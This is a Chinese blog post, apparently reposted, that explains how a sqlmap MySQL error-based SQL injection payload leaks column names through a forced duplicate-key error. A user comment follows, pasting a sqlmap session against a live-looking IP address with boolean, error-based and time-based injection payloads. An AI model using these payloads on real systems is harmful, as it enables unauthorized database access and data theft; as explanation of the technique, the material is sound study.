关于mysql的error-based injection payload

本文介绍了使用SQLMap工具进行SQL注入的一种技术——Error-Based注入。重点解释了一个复杂的SQL语句如何通过制造特定的错误来获取数据库表的列名。

今天用sqlmap扫一个网站,想得到一个表的所有列名,注意到sqlmap用到的一个error-based payload的:

 

1 AND (SELECT 3174 FROM(SELECT COUNT(*),CONCAT(0x71666f7771,(SELECT MID((IFNULL(CAST(column_name AS CHAR),0x20)),1,50) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x73797374656d AND table_schema=0x68646d303334303337335f6462 LIMIT 0,1),0x7165767371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

 

sqlmap通过这句话最终得到了一个叫“system”的表的一个叫“id”的列的列名(也就是“id”:)

好奇这个sql语句是怎么实现这个功能的。

第一眼看到这个sql语句真心是一头雾水,在vim里面展开,并在目标机器上跑了一下,发现会报一个

错误:Duplicate entry 'qfowqidqevsq1' for key 'group_key' (1062)

这个错误的entry就包含着要得到的列名“id”,原来这就是传说中error-based的意思,就是通过让目标机器的mysql server报错,来获取对应的信息。

通过分析,造成这个错误的原因主要在于那个concat()最后的floor(rand(0)*2),这个东西每次随即产生的值不同会导致group by的key不唯一,所以就报错了。真心是妙招。

 

随便google了一下,找到这么一个网页,有一些专门相关的介绍

http://zentrixplus.net/blog/sql-injection-error-based-double-query/

转载于:https://www.cnblogs.com/flyFreeZn/p/3421510.html

D:\WpSystem\S-1-5-21-589763762-2765656899-3959673489-1001\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.11_qbz5n2kfra8p0\sqlmap>python sqlmap.py -u http://223.112.5.141:64701/ --data "uname=1*&passwd=1"--dbs ___ __H__ ___ ___[(]_____ ___ ___ {1.9.1.2#dev} |_ -| . ["] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 15:25:21 /2025-07-21/ custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] y [15:25:23] [INFO] resuming back-end DBMS 'mysql' [15:25:23] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: #1* ((custom) POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: uname=1') RLIKE (SELECT (CASE WHEN (1315=1315) THEN 1 ELSE 0x28 END))-- zswx&passwd=1 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: uname=1') AND (SELECT 9615 FROM(SELECT COUNT(*),CONCAT(0x71706a7171,(SELECT (ELT(9615=9615,1))),0x7170766a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jjis&passwd=1 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: uname=1') AND (SELECT 8466 FROM (SELECT(SLEEP(5)))PVEU)-- xERO&passwd=1 --- [15:25:23] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial) web application technology: Apache 2.4.18 back-end DBMS: MySQL >= 5.0 (MariaDB fork) [15:25:23] [INFO] fetched data logged to text files under 'C:\Users\xxxxxxxxxxxxxxxxxxxx\AppData\Local\sqlmap\output\223.112.5.141'什么意思
最新发布
07-22
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值